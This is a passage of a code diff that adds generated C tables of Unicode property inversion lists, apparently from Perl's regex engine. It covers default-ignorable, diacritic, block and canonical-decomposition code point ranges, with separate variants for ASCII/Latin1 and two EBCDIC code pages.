+	0xFE10,
+	0xFEFF,
+	0xFF00,
+	0xFFA0,
+	0xFFA1,
+	0xFFF0,
+	0xFFF9,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0000,
+	0xE1000
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DI_invlist[] = { /* for EBCDIC 037 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCA,
+	0xCB,
+	0x34F,
+	0x350,
+	0x61C,
+	0x61D,
+	0x115F,
+	0x1161,
+	0x17B4,
+	0x17B6,
+	0x180B,
+	0x180F,
+	0x200B,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x3164,
+	0x3165,
+	0xFE00,
+	0xFE10,
+	0xFEFF,
+	0xFF00,
+	0xFFA0,
+	0xFFA1,
+	0xFFF0,
+	0xFFF9,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0000,
+	0xE1000
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_DIA_invlist[] = { /* for ASCII/Latin1 */
+	319,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5E,
+	0x5F,
+	0x60,
+	0x61,
+	0xA8,
+	0xA9,
+	0xAF,
+	0xB0,
+	0xB4,
+	0xB5,
+	0xB7,
+	0xB9,
+	0x2B0,
+	0x34F,
+	0x350,
+	0x358,
+	0x35D,
+	0x363,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x384,
+	0x386,
+	0x483,
+	0x488,
+	0x559,
+	0x55A,
+	0x591,
+	0x5A2,
+	0x5A3,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C5,
+	0x64B,
+	0x653,
+	0x657,
+	0x659,
+	0x6DF,
+	0x6E1,
+	0x6E5,
+	0x6E7,
+	0x6EA,
+	0x6ED,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F6,
+	0x818,
+	0x81A,
+	0x8E3,
+	0x8FF,
+	0x93C,
+	0x93D,
+	0x94D,
+	0x94E,
+	0x951,
+	0x955,
+	0x971,
+	0x972,
+	0x9BC,
+	0x9BD,
+	0x9CD,
+	0x9CE,
+	0xA3C,
+	0xA3D,
+	0xA4D,
+	0xA4E,
+	0xABC,
+	0xABD,
+	0xACD,
+	0xACE,
+	0xAFD,
+	0xB00,
+	0xB3C,
+	0xB3D,
+	0xB4D,
+	0xB4E,
+	0xBCD,
+	0xBCE,
+	0xC4D,
+	0xC4E,
+	0xCBC,
+	0xCBD,
+	0xCCD,
+	0xCCE,
+	0xD3B,
+	0xD3D,
+	0xD4D,
+	0xD4E,
+	0xDCA,
+	0xDCB,
+	0xE47,
+	0xE4D,
+	0xE4E,
+	0xE4F,
+	0xEC8,
+	0xECD,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF82,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xFC6,
+	0xFC7,
+	0x1037,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x1087,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109C,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x1939,
+	0x193C,
+	0x1A75,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABE,
+	0x1B34,
+	0x1B35,
+	0x1B44,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1BAA,
+	0x1BAC,
+	0x1C36,
+	0x1C38,
+	0x1C78,
+	0x1C7E,
+	0x1CD0,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1D2C,
+	0x1D6B,
+	0x1DC4,
+	0x1DD0,
+	0x1DF5,
+	0x1DFA,
+	0x1DFD,
+	0x1E00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x2CEF,
+	0x2CF2,
+	0x2E2F,
+	0x2E30,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309D,
+	0x30FC,
+	0x30FD,
+	0xA66F,
+	0xA670,
+	0xA67C,
+	0xA67E,
+	0xA67F,
+	0xA680,
+	0xA69C,
+	0xA69E,
+	0xA6F0,
+	0xA6F2,
+	0xA717,
+	0xA722,
+	0xA788,
+	0xA789,
+	0xA7F8,
+	0xA7FA,
+	0xA8C4,
+	0xA8C5,
+	0xA8E0,
+	0xA8F2,
+	0xA92B,
+	0xA92F,
+	0xA953,
+	0xA954,
+	0xA9B3,
+	0xA9B4,
+	0xA9C0,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA7B,
+	0xAA7E,
+	0xAABF,
+	0xAAC3,
+	0xAAF6,
+	0xAAF7,
+	0xAB5B,
+	0xAB60,
+	0xABEC,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE20,
+	0xFE30,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFE3,
+	0xFFE4,
+	0x102E0,
+	0x102E1,
+	0x10AE5,
+	0x10AE7,
+	0x110B9,
+	0x110BB,
+	0x11133,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x111C0,
+	0x111C1,
+	0x111CA,
+	0x111CD,
+	0x11235,
+	0x11237,
+	0x112E9,
+	0x112EB,
+	0x1133C,
+	0x1133D,
+	0x1134D,
+	0x1134E,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11442,
+	0x11443,
+	0x11446,
+	0x11447,
+	0x114C2,
+	0x114C4,
+	0x115BF,
+	0x115C1,
+	0x1163F,
+	0x11640,
+	0x116B6,
+	0x116B8,
+	0x1172B,
+	0x1172C,
+	0x11A34,
+	0x11A35,
+	0x11A47,
+	0x11A48,
+	0x11A99,
+	0x11A9A,
+	0x11C3F,
+	0x11C40,
+	0x11D42,
+	0x11D43,
+	0x11D44,
+	0x11D46,
+	0x16AF0,
+	0x16AF5,
+	0x16F8F,
+	0x16FA0,
+	0x1D167,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E947,
+	0x1E948,
+	0x1E94B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DIA_invlist[] = { /* for EBCDIC 1047 */
+	319,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5F,
+	0x60,
+	0x79,
+	0x7A,
+	0x9D,
+	0x9E,
+	0xB3,
+	0xB4,
+	0xBB,
+	0xBD,
+	0xBE,
+	0xBF,
+	0x2B0,
+	0x34F,
+	0x350,
+	0x358,
+	0x35D,
+	0x363,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x384,
+	0x386,
+	0x483,
+	0x488,
+	0x559,
+	0x55A,
+	0x591,
+	0x5A2,
+	0x5A3,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C5,
+	0x64B,
+	0x653,
+	0x657,
+	0x659,
+	0x6DF,
+	0x6E1,
+	0x6E5,
+	0x6E7,
+	0x6EA,
+	0x6ED,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F6,
+	0x818,
+	0x81A,
+	0x8E3,
+	0x8FF,
+	0x93C,
+	0x93D,
+	0x94D,
+	0x94E,
+	0x951,
+	0x955,
+	0x971,
+	0x972,
+	0x9BC,
+	0x9BD,
+	0x9CD,
+	0x9CE,
+	0xA3C,
+	0xA3D,
+	0xA4D,
+	0xA4E,
+	0xABC,
+	0xABD,
+	0xACD,
+	0xACE,
+	0xAFD,
+	0xB00,
+	0xB3C,
+	0xB3D,
+	0xB4D,
+	0xB4E,
+	0xBCD,
+	0xBCE,
+	0xC4D,
+	0xC4E,
+	0xCBC,
+	0xCBD,
+	0xCCD,
+	0xCCE,
+	0xD3B,
+	0xD3D,
+	0xD4D,
+	0xD4E,
+	0xDCA,
+	0xDCB,
+	0xE47,
+	0xE4D,
+	0xE4E,
+	0xE4F,
+	0xEC8,
+	0xECD,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF82,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xFC6,
+	0xFC7,
+	0x1037,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x1087,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109C,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x1939,
+	0x193C,
+	0x1A75,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABE,
+	0x1B34,
+	0x1B35,
+	0x1B44,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1BAA,
+	0x1BAC,
+	0x1C36,
+	0x1C38,
+	0x1C78,
+	0x1C7E,
+	0x1CD0,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1D2C,
+	0x1D6B,
+	0x1DC4,
+	0x1DD0,
+	0x1DF5,
+	0x1DFA,
+	0x1DFD,
+	0x1E00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x2CEF,
+	0x2CF2,
+	0x2E2F,
+	0x2E30,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309D,
+	0x30FC,
+	0x30FD,
+	0xA66F,
+	0xA670,
+	0xA67C,
+	0xA67E,
+	0xA67F,
+	0xA680,
+	0xA69C,
+	0xA69E,
+	0xA6F0,
+	0xA6F2,
+	0xA717,
+	0xA722,
+	0xA788,
+	0xA789,
+	0xA7F8,
+	0xA7FA,
+	0xA8C4,
+	0xA8C5,
+	0xA8E0,
+	0xA8F2,
+	0xA92B,
+	0xA92F,
+	0xA953,
+	0xA954,
+	0xA9B3,
+	0xA9B4,
+	0xA9C0,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA7B,
+	0xAA7E,
+	0xAABF,
+	0xAAC3,
+	0xAAF6,
+	0xAAF7,
+	0xAB5B,
+	0xAB60,
+	0xABEC,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE20,
+	0xFE30,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFE3,
+	0xFFE4,
+	0x102E0,
+	0x102E1,
+	0x10AE5,
+	0x10AE7,
+	0x110B9,
+	0x110BB,
+	0x11133,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x111C0,
+	0x111C1,
+	0x111CA,
+	0x111CD,
+	0x11235,
+	0x11237,
+	0x112E9,
+	0x112EB,
+	0x1133C,
+	0x1133D,
+	0x1134D,
+	0x1134E,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11442,
+	0x11443,
+	0x11446,
+	0x11447,
+	0x114C2,
+	0x114C4,
+	0x115BF,
+	0x115C1,
+	0x1163F,
+	0x11640,
+	0x116B6,
+	0x116B8,
+	0x1172B,
+	0x1172C,
+	0x11A34,
+	0x11A35,
+	0x11A47,
+	0x11A48,
+	0x11A99,
+	0x11A9A,
+	0x11C3F,
+	0x11C40,
+	0x11D42,
+	0x11D43,
+	0x11D44,
+	0x11D46,
+	0x16AF0,
+	0x16AF5,
+	0x16F8F,
+	0x16FA0,
+	0x1D167,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E947,
+	0x1E948,
+	0x1E94B
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DIA_invlist[] = { /* for EBCDIC 037 */
+	317,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x79,
+	0x7A,
+	0x9D,
+	0x9E,
+	0xB0,
+	0xB1,
+	0xB3,
+	0xB4,
+	0xBC,
+	0xBF,
+	0x2B0,
+	0x34F,
+	0x350,
+	0x358,
+	0x35D,
+	0x363,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x384,
+	0x386,
+	0x483,
+	0x488,
+	0x559,
+	0x55A,
+	0x591,
+	0x5A2,
+	0x5A3,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C5,
+	0x64B,
+	0x653,
+	0x657,
+	0x659,
+	0x6DF,
+	0x6E1,
+	0x6E5,
+	0x6E7,
+	0x6EA,
+	0x6ED,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F6,
+	0x818,
+	0x81A,
+	0x8E3,
+	0x8FF,
+	0x93C,
+	0x93D,
+	0x94D,
+	0x94E,
+	0x951,
+	0x955,
+	0x971,
+	0x972,
+	0x9BC,
+	0x9BD,
+	0x9CD,
+	0x9CE,
+	0xA3C,
+	0xA3D,
+	0xA4D,
+	0xA4E,
+	0xABC,
+	0xABD,
+	0xACD,
+	0xACE,
+	0xAFD,
+	0xB00,
+	0xB3C,
+	0xB3D,
+	0xB4D,
+	0xB4E,
+	0xBCD,
+	0xBCE,
+	0xC4D,
+	0xC4E,
+	0xCBC,
+	0xCBD,
+	0xCCD,
+	0xCCE,
+	0xD3B,
+	0xD3D,
+	0xD4D,
+	0xD4E,
+	0xDCA,
+	0xDCB,
+	0xE47,
+	0xE4D,
+	0xE4E,
+	0xE4F,
+	0xEC8,
+	0xECD,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF82,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xFC6,
+	0xFC7,
+	0x1037,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x1087,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109C,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x1939,
+	0x193C,
+	0x1A75,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABE,
+	0x1B34,
+	0x1B35,
+	0x1B44,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1BAA,
+	0x1BAC,
+	0x1C36,
+	0x1C38,
+	0x1C78,
+	0x1C7E,
+	0x1CD0,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1D2C,
+	0x1D6B,
+	0x1DC4,
+	0x1DD0,
+	0x1DF5,
+	0x1DFA,
+	0x1DFD,
+	0x1E00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x2CEF,
+	0x2CF2,
+	0x2E2F,
+	0x2E30,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309D,
+	0x30FC,
+	0x30FD,
+	0xA66F,
+	0xA670,
+	0xA67C,
+	0xA67E,
+	0xA67F,
+	0xA680,
+	0xA69C,
+	0xA69E,
+	0xA6F0,
+	0xA6F2,
+	0xA717,
+	0xA722,
+	0xA788,
+	0xA789,
+	0xA7F8,
+	0xA7FA,
+	0xA8C4,
+	0xA8C5,
+	0xA8E0,
+	0xA8F2,
+	0xA92B,
+	0xA92F,
+	0xA953,
+	0xA954,
+	0xA9B3,
+	0xA9B4,
+	0xA9C0,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA7B,
+	0xAA7E,
+	0xAABF,
+	0xAAC3,
+	0xAAF6,
+	0xAAF7,
+	0xAB5B,
+	0xAB60,
+	0xABEC,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE20,
+	0xFE30,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFE3,
+	0xFFE4,
+	0x102E0,
+	0x102E1,
+	0x10AE5,
+	0x10AE7,
+	0x110B9,
+	0x110BB,
+	0x11133,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x111C0,
+	0x111C1,
+	0x111CA,
+	0x111CD,
+	0x11235,
+	0x11237,
+	0x112E9,
+	0x112EB,
+	0x1133C,
+	0x1133D,
+	0x1134D,
+	0x1134E,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11442,
+	0x11443,
+	0x11446,
+	0x11447,
+	0x114C2,
+	0x114C4,
+	0x115BF,
+	0x115C1,
+	0x1163F,
+	0x11640,
+	0x116B6,
+	0x116B8,
+	0x1172B,
+	0x1172C,
+	0x11A34,
+	0x11A35,
+	0x11A47,
+	0x11A48,
+	0x11A99,
+	0x11A9A,
+	0x11C3F,
+	0x11C40,
+	0x11D42,
+	0x11D43,
+	0x11D44,
+	0x11D46,
+	0x16AF0,
+	0x16AF5,
+	0x16F8F,
+	0x16FA0,
+	0x1D167,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E947,
+	0x1E948,
+	0x1E94B
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_DIACRITICALS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x370
+};
+
+static const UV PL_DIACRITICALSEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1AB0,
+	0x1B00
+};
+
+static const UV PL_DIACRITICALSFORSYMBOLS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20D0,
+	0x2100
+};
+
+static const UV PL_DIACRITICALSSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1DC0,
+	0x1E00
+};
+
+static const UV PL_DINGBATS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2700,
+	0x27C0
+};
+
+static const UV PL_DOMINO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F030,
+	0x1F0A0
+};
+
+static const UV PL_DSRT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10400,
+	0x10450
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_DT__CAN_invlist[] = { /* for ASCII/Latin1 */
+	463,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC0,
+	0xC6,
+	0xC7,
+	0xD0,
+	0xD1,
+	0xD7,
+	0xD9,
+	0xDE,
+	0xE0,
+	0xE6,
+	0xE7,
+	0xF0,
+	0xF1,
+	0xF7,
+	0xF9,
+	0xFE,
+	0xFF,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x149,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x17F,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1CD,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F1,
+	0x1F4,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D3,
+	0x3D5,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x622,
+	0x627,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1E00,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFE,
+	0x2000,
+	0x2002,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2ADC,
+	0x2ADD,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309E,
+	0x309F,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x30FF,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB20,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB4F,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* ASCII/Latin1 */
+
